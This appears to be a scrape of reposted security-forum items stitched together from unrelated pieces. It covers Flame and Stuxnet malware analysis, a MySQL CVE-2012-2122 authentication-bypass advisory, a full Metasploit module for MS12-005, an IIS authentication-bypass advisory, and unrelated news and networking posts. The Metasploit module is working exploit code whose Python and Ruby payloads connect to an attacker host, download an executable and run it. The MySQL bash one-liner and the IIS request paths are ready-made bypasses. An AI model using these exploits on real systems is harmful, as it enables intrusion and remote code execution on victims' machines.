TH_POOL_SHD_PQOMGMN_%dSYNCMTX TH_POOL_SHD_MTX_GMN94XQ_%d Moreover, there are other known Flame modules using mutex TH_POOL_SHD_MTX_FSW95XQ_%d, that we have dated to 2010, e.g. comspol32.ocx. The matches are even more impressive at the code level: getdecrypted function from Resource 207 getdecrypted function from mssecmgr.ocx DecrypString function from Resource 207 DecryptString function from mssecmgr.ocx DecryptString function from browse32.ocx (the Flame uninstaller module circulating in May-June 2012) Mutex used in Resource 207 Mutex used in mssecmgr.ocx Resource 207’s main functionality was to ensure Stuxnet propagation to removable USB drives via autorun.inf, as well as to exploit a then-unknown vulnerability in win32k.sys to escalate privileges in the system at stage of infection from USB drive. Map of resources in Stuxnet 2009 Spreading via autorun.inf is another trick that the Stuxnet 2009 version and the current variants of Flame have in common. Resource 207 operates as an infector of removable drives, copying “Flame” module as “autorun.inf” file to removable media and adding a special real autorun.inf file at end of PE file. The Main body of Stuxnet copied to USB drive as “~XTRVWp.dat” file. The PE file is correctly processed by the operating system as real autorun.inf and hence the module is executed when an infected device is accessed. After this, the Flame module loads ~XTRVWp.dat (main Stuxnet body) from the USB drive and injects it to system process via using EoP vulnerability. This particular code, which exactly matches the code in resource 207, is currently used by Flame, where it is executed by the “Autorun_infector” module. An old 0-day The Stuxnet Resouce 207 Flame-module contains an Escalation of Privilege exploit and is using it at stage of infection from USB drive for injecting main Stuxnet body to system processes. This is of interest in its own right. The exploit code in the file atmpsvcn.ocx is similar to that which we, Kaspersky Lab, found in the 2010 versions of Stuxnet and which was subsequently addressed by the MS10-073 patch. The code’s style, logic and details of its implementation were the same in the 2009 and 2010 code. Clearly, these two pieces of exploit code were written by the same programmer. However, a different exploit targeting a different vulnerability, which was older and was patched by 2010, was used in the 2009 version of Stuxnet. At the time when “resource 207” was created (February 2009), the vulnerability was not publicly known and was thus, it was a true 0-day vulnerability. Essentially, the vulnerability consists of the absence of input data checking, allowing the NtUserRegisterClassExWOW() function to overwrite a WORD of data beyond the allocated memory range in win32k. The function’s address in the _gpsi structure is overwritten with the address of the shellcode in two steps. Then the NtUserMessageCall() function is called, which passes control to the shellcode with kernel-level privileges. Neither function is exported to user mode, which means that addresses and parameters for calling services directly can be found by parsing modules on disk (user32&win32k). This vulnerability description is strikingly similar to that of vulnerability “Windows Kernel Could Allow Elevation of Privilege (968537)”, which was closed in June 2009 with patch MS09-025; however, we are still analyzing the code and can’t provide a 100% confirmation of this as yet. The main function exploiting the EoP vulnerability in Stuxnet 2009 The main function exploiting the EoP vulnerability in Stuxnet 2010 Code used to call controlled functions in the 2009 vulnerability Code used to call controlled functions in the MS010-073 vulnerability Conclusions Our analysis suggest several important conclusions, which we summarize below: By the time Stuxnet was created (in January-June 2009), the Flame platform was already in existence (we currently date its creation to no later than summer 2008) and already had modular structure. The Stuxnet code of 2009 used a module built on the Flame platform, probably created specifically to operate as part of Stuxnet. The module was removed from Stuxnet in 2010 due to the addition of a new method of propagation (vulnerability MS10-046) instead of the “old” autorun.inf The Flame module in Stuxnet exploited a vulnerability which was unknown at the time, a true 0-day. This enabled an escalation of privileges, presumably exploiting MS09-025 After 2009, the evolution of the Flame platform continued independently from Stuxnet. The above conclusions point to the existence of two independent developer teams, which can be referred to as ”Team F” (Flame) and ”Team D” (Tilded). Each of these teams has been developing its own platform since 2007-2008 at the latest. In 2009, part of the code from the Flame platform was used in Stuxnet. We believe that source code was used, rather than complete binary modules. Since 2010, the platforms have been developing independently from each other, although there has been interaction at least at the level of exploiting the same vulnerabilities. Sursa: Back to Stuxnet: the missing link - Securelist

[h=1]Diving Into Flame, Researchers Find A Link To Stuxnet[/h]by Dennis Fisher, Paul Roberts June 11, 2012, 9:35AM Researchers digging through the code of the recently discovered Flame worm say they have come across a wealth of evidence that suggests Flame and the now-famous Stuxnet worm share a common origin. Researchers from Kaspersky Lab say that a critical module that the Flame worm used to spread is identical to a module used by Stuxnet.a, an early variant of the Stuxnet worm that began circulating in 2009, more than a year before a later variant of the worm was discovered by antivirus researchers at the Belarussian firm VirusBlokAda. The claims are the most direct, to date, that link the Flame malware, which attacked Iranian oil facilities, with Stuxnet, which is believed to have targeted Iran's uranium-enrichment facility at Natanz. If true, they suggest a widespread and multi-year campaign of offensive cyber attacks against multiple targets within that country. According to the Kaspersky researchers, early versions of Stuxnet were, in fact, created out of components that were part of what they refer to as the "Flame platform". But they believe development of the two malicious programs diverged after 2009, suggesting that two different development teams may have been working independently for a single entity to create malware with specific objectives, according to Kaspersky researchers, writing on the company's blog, Securelist. Researchers at Kaspersky and elsewhere initially thought that Stuxnet and Flame were very different pieces of software, and that there was little evidence of a link or common ancestor. However, there was plenty of circumstantial evidence from the start that suggested some connection. For one thing, both Stuxnet and Flame infections were concentrated in Iran and neighboring countries - an unusual pattern of infection compared to other malware. Second, Flame relied on many of the same mechanisms to spread from computer to computer, including USB-based infections and exploitation of a vulnerabilities in Windows' Autorun feature and a print spooler vulnerability - both of which were used by Stuxnet to spread. Subsequent research suggests that claims about the distinctness of Flame were premature. In their work, Kaspersky researchers worked off clues generated by their own automated virus analysis technology, which spotted a malicious file that it considered a variant of Stuxnet in October 2010. Kaspersky analysts at the time studied the variant and saw few similarities to Stuxnet. They dismissed the categorization as a "false positive" and renamed the malware "Tocy.a" More than two years later, however, those same researchers stumbled on Tocy.a as they looked for older malware samples that resembled Flame. Noting the history of Tocy.a and its initial designation as a Stuxnet variant, the researchers probed deeper into why the companies artificial intelligence saw the two pieces of malicious code as so similar to each other, but not to other samples from Kaspersky's massive library of malware. Their conclusion: a module originally found in an early Stuxnet variant dubbed "Resource 207." The module, a little more than 350,000 bytes long, was used by Stuxnet.a to to do "privilege escalation" - tricks to give the attackers administrator-level access to systems they compromise. Resource 207 disappeared from later versions of Stuxnet that spread more widely and, thus, received more attention from researchers - its code absorbed into other Stuxnet components. Looked at closely, however, Resource 207 from the early version of Stuxnet was nearly identical to a module in the Flame malware. Kaspersky now considers it a "Flame plug-in. Or, to be more precise proto-Flame." In fact, it matches almost exactly with a contemporary Flame file called "mssecmgr.ocx." The two elements contain similar bones: components with nearly identical names, identical string decryption algorithms and nearly identical methods of writing shell code components within each. Like handwriting analysts, the Kaspersky researchers have concluded that at least some elements of both Stuxnet and Flame were created by the same hand - or hands. Resource 207 is, they believe, an early component of what they now consider the 'Flame' platform. "By the time Stuxnet was created (in January-June 2009), the Flame platform was already in existence," the researchers write. "we currently date [Flame's] creation to no later than summer 2008, [when it] already had a modular structure." The worm known as Stuxnet, they believe, used a module built on the Flame platform. That module was probably created specifically to operate as part of Stuxnet. Researchers believe it originally exploited a previously unknown (zero-day) vulnerability that enabled an escalation of privileges, presumably by exploiting an issue later patched by Microsoft with MS09-025. The module was then removed in 2010 as the Stuxnet authors shifted focus to a new method of propagation using the vulnerability patched by Microsoft in its MS10-046 update in August 2010. After 2009, the evolution of the Flame platform continued independently from Stuxnet, and Kaspersky researchers theorize that the work on the malicious programs was tasked to two independent developer teams, which they termed ”Team F” (Flame) and ”Team D” (for "Tilded," the Stuxnet program). "Each of these teams has been developing its own platform since 2007-2008 at the latest, but snippets of their common origins appear in both pieces of malware." In addition to the concrete link between Flame and Stuxnet, researchers also discovered that there was a fifth zero-day vulnerability being used by a version of Stuxnet is 2009, which was included in the resource 207 module shared by Stuxnet and Flame. Exploit code for that flaw, which is an elevation-of-privilege bug, was included in a variant of Stuxnet that was in use in early 2009. The code for that variant was compiled in February 2009 and the bug was unknown at the time. Microsoft patched the vulnerability with bulletin MS09-025, four months later. "The same programmer who did the attack on this bug and the MS10-073 bug used in Stuxnet.b, which also was an elevation of privilege," Roel Schouwenberg, a senior malware researcher at Kaspersky, said in a press conference Monday. "It was definitely very interesting to see." Schouwenberg said that researchers are unsure why resource 207 was removed from the Stuxnet code at some point, but it may have been a way to keep the two attack tools separate. "One theory is that Flame was a more general purpose cyber-espionage tool and they didn't want to mix the two platforms more than was necessary," he said. The implications of the researchers' discoveries are intriguing. Many security experts will be unsurprised to learn that two pieces of malicious code with such similar targets and objectives may have come from the same source. Many assumed the Flame malware had links back to a foreign government, rather than criminal hacking groups. News last week about the worm's use of a never-before-seen cryptographic collision attack to enable the malware to impersonate a Microsoft software update more or less sealed the case. However, recent news reports citing unnamed government sources give the U.S. credit for creating Stuxnet. That suggests that the U.S. or its allies may have been behind the Flame malware also. That, in turn, has stoked public debate about the wisdom of conducting offensive cyber operations - covert or otherwise. That debate, like the investigation into Flame itself, is likely to intensify, rather than fade, as time goes by. Sursa: https://threatpost.com/en_us/blogs/diving-flame-researchers-find-link-stuxnet-061112

https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql http://pastie.org/4064638

CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability A serious security bug in MariaDB and MySQL Disclosed, According to Advisory All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable. This issue got assigned an id CVE-2012-2122. When a user connects to MariaDB/MySQL, a token (SHAover a password and a random scramble string) is calculated and comparedwith the expected value. Because of incorrect casting, it might'vehappened that the token and the expected value were considered equal,even if the memcmp() returned a non-zero value. In this caseMySQL/MariaDB would think that the password is correct, even while it isnot. Because the protocol uses random strings, the probability ofhitting this bug is about 1/256." "Which means, if one knows a user name to connect (and "root" almostalways exists), she can connect using *any* password by repeatingconnection attempts. ~300 attempts takes only a fraction of second, sobasically account password protection is as good as nonexistent.Any client will do, there's no need for a special libmysqlclient library." The following one-liner in bash will provide access to an affected MySQL server as the root user account, without actually knowing the password. $ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done mysql> Defense: The first rule of securing MySQL is to not expose to the network at large in the first place. Most Linux distributions bind the MySQL daemon to localhost, preventing remote access to the service. In cases where network access must be provided, MySQL also provides host-based access controls. There are few use cases where the MySQL daemon should be intentionally exposed to the wider network and without any form of host-based access control. the easiest thing to do is to modify the my.cnf file in order to restrict access to the local system. Open my.cnf with the editor of your choice, find the section labeled [mysqld] and change (or add a new line to set) the "bind-address" parameter to "127.0.0.1". Restart the MySQL service to apply this setting. Note: Download The Latest Exploits for CVE-2012-2122 From our TOOLS YARD section.Sursa: CVE-2012-2122 : Serious Mysql Authentication Bypass Vulnerability | The Hacker News

W3Schools e un jeg, pe langa faptul ca e foarte putina documentatie, deseori e si stupida. Uitati aici tutorial HTML: http://www.w3.org/TR/html5/single-page.html

Flame malware extinguished by creators [h=3]Code auto-uninstalls using newly-sent command[/h] The originators of the accidentally-discovered Flame malware may have sent commands to the controlled machines to delete and overwrite itself. Interestingly, rather than use a pre-existing command in the code, aptly titled SUICIDE, the controllers sent a whole new directive file that assisted in the auto-uninstallation. Symantec reports compromised computers were sent a file called browse32.ocx, which contains a list of files to delete without leaving any trace of the original infection. It is unknown why the new command was sent, rather than the utilization of the already extant component in the Flame code. The specific list of files deleted can be found on the Symantec webpage. Flame was accidentally discovered while another malware threat was being investigated. Microsoft released a high-priority update and security advisory after parts of the Flame malware were found to be signed with reverse-engineered Microsoft Root Authority certificates. By Electronista Staff Read more: Flame malware extinguished by creators | Electronista

MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/zip' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::Remote::TcpServer def initialize(info={}) super(update_info(info, 'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Office's ClickOnce feature. When handling a Macro document, the application fails to recognize certain file extensions as dangerous executables, which can be used to bypass the warning message. This allows you to trick your victim into opening the malicious document, which will load up either a python or ruby payload based on your choosing, and then finally download and execute our executable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yorick Koster', #Vuln discovery 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2012-0013'], ['OSVDB', '78207'], ['MSB', 'ms12-005'], ['BID', '51284'], ['URL', 'http://support.microsoft.com/default.aspx?scid=kb;EN-US;2584146'], ['URL', 'http://exploitshop.wordpress.com/2012/01/14/ms12-005-embedded-object-package-allow-arbitrary-code-execution/'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none", 'DisablePayloadHandler' => 'false' }, 'Platform' => 'win', 'Targets' => [ ['Microsoft Office Word 2007/2010 on Windows 7', {}], ], 'Privileged' => false, 'DisclosureDate' => "Jan 10 2012", 'DefaultTarget' => 0)) register_options( [ OptEnum.new('PAYLOAD_TYPE', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]), OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) ], self.class) end # # Return the first-stage payload that will download our malicious executable. # def get_download_exec_payload(type, lhost, lport) payload_name = Rex::Text.rand_text_alpha(7) # Padd up 6 null bytes so the first few characters won't get cut off p = "\x00"*6 case type when :rb p << %Q| require 'socket' require 'tempfile' begin cli = TCPSocket.open("#{lhost}",#{lport}) buf = '' while l = cli.gets buf << l end cli.close tmp = Tempfile.new(['#{payload_name}','.exe']) t = tmp.path tmp.binmode tmp.write(buf) tmp.close exec(t) rescue end#| when :py p << %Q| import socket import tempfile import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("#{lhost}", #{lport})) buf = "" while True: data = s.recv(1024) if data: buf += data else: break s.close temp = tempfile.gettempdir() + "\\\\\\" + "#{payload_name}.exe" f = open(temp, "wb") f.write(buf) f.close f = None os.system(temp) #| end p = p.gsub(/^\t\t\t/, '') return p end # # Reads a file that'll be packaged. # This will patch certain files on the fly, or return the original content of the file. # def on_file_read(fname, file) f = open(file, 'rb') buf = f.read f.close # Modify certain files on the fly case file when /oleObject1\.bin/ # Patch the OLE object file with our payload print_status("Patching OLE object") ptype = datastore['PAYLOAD_TYPE'] == 'PYTHON' ? :py : :rb p = get_download_exec_payload(ptype, @ip, @port) buf = buf.gsub(/MYPAYLOAD/, p) # Patch username username = Rex::Text.rand_text_alpha(5) buf = buf.gsub(/METASPLOIT/, username) buf = buf.gsub(/#{Rex::Text.to_unicode("METASPLOIT")}/, Rex::Text.to_unicode(username)) # Patch the filename f = Rex::Text.rand_text_alpha(6) buf = buf.gsub(/MYFILENAME/, f) buf = buf.gsub(/#{Rex::Text.to_unicode("MYFILENAME")}/, Rex::Text.to_unicode(f)) # Patch the extension name ext = ptype.to_s buf = buf.gsub(/MYEXT/, ext) buf = buf.gsub(/#{Rex::Text.to_unicode("MYEXT")}/, Rex::Text.to_unicode(ext)) when /document\.xml/ print_status("Patching document body") # Patch the docx body buf = buf.gsub(/W00TW00T/, datastore['BODY']) end # The original filename of __rels is actually ".rels". # But for some reason if that's our original filename, it won't be included # in the archive. So this hacks around that. case fname when /__rels/ fname = fname.gsub(/\_\_rels/, '.rels') end yield fname, buf end # # Packages the Office Macro Document # def package_docm_rex(path) zip = Rex::Zip::Archive.new Dir["#{path}/**/**"].each do |file| p = file.sub(path+'/','') if File.directory?(file) print_status("Packging directory: #{file}") zip.add_file(p) else on_file_read(p, file) do |fname, buf| print_status("Packaging file: #{fname}") zip.add_file(fname, buf) end end end zip.pack end # # Return the malicious executable # def on_client_connect(cli) print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@exe.length.to_s} bytes)") cli.put(@exe) service.close_client(cli) end def exploit @ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @port = datastore['SRVPORT'] print_status("Generating our docm file...") path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2012-0013') docm = package_docm_rex(path) file_create(docm) print_good("Let your victim open #{datastore['FILENAME']}") print_status("Generating our malicious executable...") @exe = generate_payload_exe print_status("Ready to deliver your payload on #{@ip}:#{@port.to_s}") super end end =begin mbp:win7_diff sinn3r$ diff patch/GetCurrentIcon.c vuln/GetCurrentIcon.c 1c1 < void *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) --- > const WCHAR *__thiscall CPackage::_GetCurrentIcon(void *this, int a2) ... 24c24 < if ( AssocIsDangerous(result) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) --- > if ( IsProgIDInList(0, result, extList, 0x11u) || !SHGetFileInfoW(pszPath, 0x80u, &psfi, 0x2B4u, 0x110u) ) 31c31 =end Sursa: MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability Video: http://www.youtube.com/watch?v=Odi6HiqzmL8&feature=youtu.be&hd=1

[h=1]Microsoft IIS 6.0 and 7.5 Multiple Vulnerabilities[/h] THIS IS A GENUINE ISOWAREZ RELEASE ******************************************************** ------------------------------------------------------------------------------------------------------------------------------------------------------------ Title: Microsoft IIS 6.0 with PHP installed Authentication Bypass Affected software: Microsoft IIS 6.0 with PHP installed (tested on Windows Server 2003 SP1 running PHP5) Details: By sending a special request to the IIS 6.0 Service running PHP the attacker can successfully bypass access restrictions. Take for example: 1.) IIS/6.0 has PHP installed 2.) There is a Password Protected directory configured --> An attacker can access PHP files in the password protected directory and execute them without supplying proper credentials. --> Example request (path to the file): /admin::$INDEX_ALLOCATION/index.php IIS/6.0 will gracefully load the PHP file inside the "admin" directory if the ::$INDEX_ALLOCATION postfix is appended to directory name. This can result in accessing administrative files and under special circumstances execute arbirary code remotely. ------------------------------------------------------------------------------------------------------------------------------------------------------------ Title: Microsoft IIS 7.5 Classic ASP Authentication Bypass Affected Software: Microsoft IIS 7.5 with configured Classic ASP and .NET Framework 4.0 installed (.NET Framework 2.0 is unaffected, other .NET frameworks have not been tested) (tested on Windows 7) Details: By appending ":$i30:$INDEX_ALLOCATION" to the directory serving the classic ASP file access restrictions can be successfully bypassed. Take this Example: 1.) Microsoft IIS 7.5 has Classic ASP configured (it allows serving .asp files) 2.) There is a password protected directory configured that has administrative asp scripts inside 3.) An attacker requests the directory with :$i30:$INDEX_ALLOCATION appended to the directory name 4.) IIS/7.5 gracefully executes the ASP script without asking for proper credentials ------------------------------------------------------------------------------------------------------------------------------------------------------------ Title: Microsoft IIS 7.5 .NET source code disclosure and authentication bypass Affected Software: Microsoft IIS/7.5 with PHP installed in a special configuration (Tested with .NET 2.0 and .NET 4.0) (tested on Windows 7) The special configuration requires the "Path Type" of PHP to be set to "Unspecified" in the Handler Mappings of IIS/7.5 Details: The authentication bypass is the same as the previous vulnerabilities: Requesting for example http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php will run the PHP script without asking for proper credentials. By appending /.php to an ASPX file (or any other file using the .NET framework that is not blocked through the request filtering rules, like misconfigured: .CS,.VB files) IIS/7.5 responds with the full source code of the file and executes it as PHP code. This means that by using an upload feature it might be possible (under special circumstances) to execute arbitrary PHP code. Example: Default.aspx/.php Cheerio and signed, /Kingcope Sursa: Microsoft IIS 6.0 and 7.5 Multiple Vulnerabilities

"Version 3.0 of MorphOS has been released. It's the independent PPC OS designed for outdated Apple systems like G4 PowerBooks (5,6; 5,7; 5,8; or 5,9) and eMacs (1.25 GHz/1.42 GHz) and PPC Mac Minis, and some G4 PowerMac models (depends on graphics hardware). It further runs on discontinued and niche Genesi desktop systems (Pegasos) and the stunted 128-megabyte-of-RAM tiny Efika. MorphOS is a nice-looking, low-resource, and nimble OS that can't match the capabilities of current Windows, Mac, and Linux. Its installation/live CD is free without caveat, and runs for 30 minutes at a time, as many times as you like. You may purchase MorphOS to remove the time limit. A particular weakness of MorphOS is its lack of support for wireless networking." Sursa: MorphOS 3.0 Released: Refusing To Let the PPC Desktop OS Die Gracefully - Slashdot Pagina oficiala: http://www.morphos.de/ MorphOS is a lightweight, highly efficient and flexible media-centric operating system. If you are new to MorphOS and would like to learn more about it, please visit this page.

Hackers Jailed for £26.9 Million Credit Card Fraud Cei vechi, care stiti de h4cky0u, cititi... By: Bianca Dima | comment : | June 07, 2012 Two “one-stop shop” hackers were sentenced in the UK for credit card fraud totalling more than £26.9 million. According to Serious Organised Crime Agency officers, the actual loss is likely to be a lot more. The two cyber criminals provided various services to bank fraudsters and were sentenced to almost 3, and, respectively, 2 years in prison. Under the moniker of ‘t0pp8uzz’, Jay Moore set up the ‘Freshshop’ website to facilitate the bulk sale of stolen financial data. He recruited Damian Horne, known as ‘GM’, on an underground forum. The two men started breaking the law by selling stolen iTunes vouchers and other online gaming codes on eBay. “Within a short space of time the two escalated their criminal enterprise to sell compromised credit card data and launder the proceeds of their criminality through a network of bank accounts, online financial institutions and overseas money exchangers,” SOCA representatives said in a press release. Though he had no formal qualifications, Moore used his IT knowledge to hack into computers and obtain payment card databases. He then made them available through his website, designed to look and operate like a common retail site. The hacker also made money out of commissions he received from other fraudsters who sold compromised data on his website. Last year, in a raid at his parents’ house, Police found a safe with over £80,700 in cash, a fresh out of the assembly line BMW car and personalized registration plate which alone was valued at over £10,000. “Such was Moore’s wealth that he also provided some £40,000 to help his father buy a substantial farm house, and attributed his earnings to a fake web design business created purely to hide his criminal activity,” Police said. In the attacks, more than 340,000 people had their personal information stolen. In addition to the £26.9 million fraud, the data breach could lead to fake bank accounts and to cheque or identity fraud. Sursa: Hackers Jailed for £26.9 Million Credit Card Fraud | HOTforSecurity

Probabil eu, daca o sa dau de PingLord, daca am cu ce. Teoretic am, dar nu sunt 100% sigur.

[h=3]Source IP address selection on a Multi-Homed Windows Computer[/h]MichaelPlatts [msft] 24 Apr 2009 4:59 PM Aka "Cum se selecteaza IP/NIC" cand se trimite un pachet in retea. There is often confusion about how a computer chooses which adapter to use when sending traffic. This blog describes the process by which a network adapter is chosen for an outbound connection on a multiple-homed computer, and how a local source IP address is chosen for that connection. [h=3]What is Source IP address selection?[/h] Source IP address selection is the process by which the stack chooses an IP address. Windows XP and Windows Server 2003 are based on the weak host model. When a Windows Sockets program binds to a socket, one of the parameters that is passed in the bind() call is the local (source) IP address that should be used for outbound packets. Most programs do not have any knowledge of network topology, so they specify IPADDR_ANY instead of a specific IP address in their bind() call. IPADDR_ANY tells the stack that the program is going to let the stack choose the best local IP address to use; [h=4]Windows XP behavior[/h] KB175396 - Windows Socket Connection from a Multiple-Homed Computer The TCP/IP component of all Microsoft Windows operating systems prior to Windows Vista is based on a Weak Host model. This model gives program developers the greatest amount of leeway when they design programs that use the network and are compatible with Microsoft products. This model also puts the responsibility of the behavior of the networking program on the developers, because the developers specify how the program accesses the TCP/IP stack and responds to incoming and outgoing frames. On a computer that has one network adapter, the IP address that is chosen is the Primary IP address of the network adaptor in the computer. However, on a multiple-homed computer, the stack must first make a choice. The stack cannot make an intelligent choice until it knows the target IP address for the connection. When the program sends a connect() call to a target IP address, or sends a send() call to a UDP datagram, the stack references the target IP address, and then examines the IP route table so that it can choose the best network adapter over which to send the packet. After this network adapter has been chosen, the stack reads the Primary IP address associated with that network adapter and uses that IP address as the source IP address for the outbound packets. Example: Source supplied in the call: IPADDR_ANY Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.1.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:192.168.1.10 The chosen source NIC: Nic 1 If the program specifies a source IP address to use in the bind() call, that IP address is used as the source IP address for connections sourced from that socket. However, the route table is still used to route the outbound IP datagrams, based on the target IP address. As a result of this behavior, the source IP address may not be the one associated with the network adapter that is chosen to send the packets. Example: Source supplied in the call:10.0.0.10 Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.1.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:10.0.0.10 The chosen source Nic: Nic 1 <- Note this is not the Nic the source IP is on. [h=3]Summary[/h] If a source IP is not given the Primary IP address of the adapter with a route that most closely matches the target IP address is used to source the packet and the adapter that the Primary IP is associated with is used as the source adapter. If the source IP is specified the adapter that is used to send the packet is the one with a route that most closely matches the target IP address and this may not be the adapter that is associated with the source IP. [h=4]Windows Vista/Windows Server 2008 behavior[/h] Windows Vista and later are based on the strong host model. In the strong host model, the host can only send packets on an interface if the interface is assigned the source IP address of the packet being sent. Also the concept of a primary IP address does not exist. Similar to XP when if a program doesn't specify a source IP, the stack references the target IP address, and then examines the entire IP route table so that it can choose the best network adapter over which to send the packet. After the network adapter has been chosen, the stack uses the address selection process defined in RFC 3484 and uses that IP address as the source IP address for the outbound packets. Example: Source supplied in the call: IPADDR_ANY Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.2.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:192.168.1.11 The chosen source NIC: Nic 1 If the program specifies a source IP address, that IP address is used as the source IP address for connections sourced from that socket and the adapter associated with that source IP is used as the source interface. The route table is searched but only for routes that can be reached from that source interface. Example: Source supplied in the call:10.0.0.10 Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.1.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:10.0.0.10 The chosen source Nic: Nic 2 <- Note this is the Nic the source IP is on. Note: the packet would be sent to the default gateway associated with Nic 2. [h=4]RFC 3484 and Source IP address selection[/h] The last thing I want to talk about is RFC 3484. Even though RFC 3484 says it only applies to IPV6 in Windows implementations IPV4 does follow the same rules when possible. Windows Source IP V4 address selection: Rule 1 Prefer same address (applies) Rule 2 Prefer appropriate scope (applies) Rule 3 Avoid deprecated addresses (applies) Rule 4 - Prefer home addresses - does not apply to IP v4 Rule 5 Prefer outgoing Interfaces (applies) Rule 6 Prefer matching label - does not apply to IP v4 Rule 7 Prefer public addresses - does not apply to IP v4 Rule 8a: Use longest matching prefix with the next hop IP address. (not in RFC!) "If CommonPrefixLen(SA, D) > CommonPrefixLen(SB, D), then prefer SA. Similarly, if CommonPrefixLen(SB, D) > CommonPrefixLen(SA, D), then prefer SB. " This says that the IP with the most high order bits that match the destination of the next hop will be used. Note: Rule 8 - Use longest matching Prefix is similar to rule 8a except the match is with the destination IP address rather than the next hop IP address. For example, consider the following addresses: Client machine IP Address 192.168.1.14 /24 192.168.1.68 /24 Default Gateway 192.168.1.127 The server will use the 192.168.1.68 address because it has the longest matching prefix. To see this more clearly, consider the IP addresses in binary: 11000000 10101000 00000001 00001110 = 192.168.1.14 (Bits matching the gateway = 25) 11000000 10101000 00000001 01000100 = 192.168.1.68 (Bits matching the gateway = 26) 11000000 10101000 00000001 01111111 = 192.168.1.127 The 192.168.1.68 address has more matching high order bits with the gateway address 192.168.1.127. Therefore, it is used for off-link communication. [h=3]SkipAsSource[/h] There is a new twist in the source IP selection process. Note: There are two variants of the below mentioned hotfix; one for Windows Vista / Windows Server 2008 and one for Windows 7 / Windows Server 2008 R2. 975808 All IP addresses are registered on the DNS servers when the IP addresses are assigned to one network adapter on a computer that is running Windows Server 2008 SP2 or Windows Vista SP2 2386184 IP addresses are still registered on the DNS servers even if the IP addresses are not used for outgoing traffic on a computer that is running Windows 7 or Windows Server 2008 R2 After you install the hotfix discussed above, you can create IP version 4 (IPv4) addresses or IP version 6 (IPv6) addresses by using the netsh command together with the new "skipassource" flag. By using this flag, the added new addresses are not used for outgoing packets unless explicitly set for use by outgoing packets. Note: This command only works when adding an address you can’t apply it to an address already on the machine. You would need to remove it and add it again. [h=3]Additional Information[/h] Default Address Selection for Internet Protocol version 6 (IPv6) For more information about Strong and Weak Host Models, see the following Cable Guy article: The Cable Guy: Strong and Weak Host Models The gethostbyname function has been deprecated. We recommend that you use the getaddrinfo function instead. However, we still cannot guarantee that primary IP address will be returned first. For more information about the gethostbyname function, visit the following Microsoft Web site: gethostbyname function (Windows) For more information about the getaddrinfo function, visit the following Microsoft Web site: http://msdn2.microsoft.com/en-us/library/ms738520(VS.85).aspx - David Pracht Sursa: Source IP address selection on a Multi-Homed Windows Computer - Microsoft Enterprise Networking Team - Site Home - TechNet Blogs

Windows 7.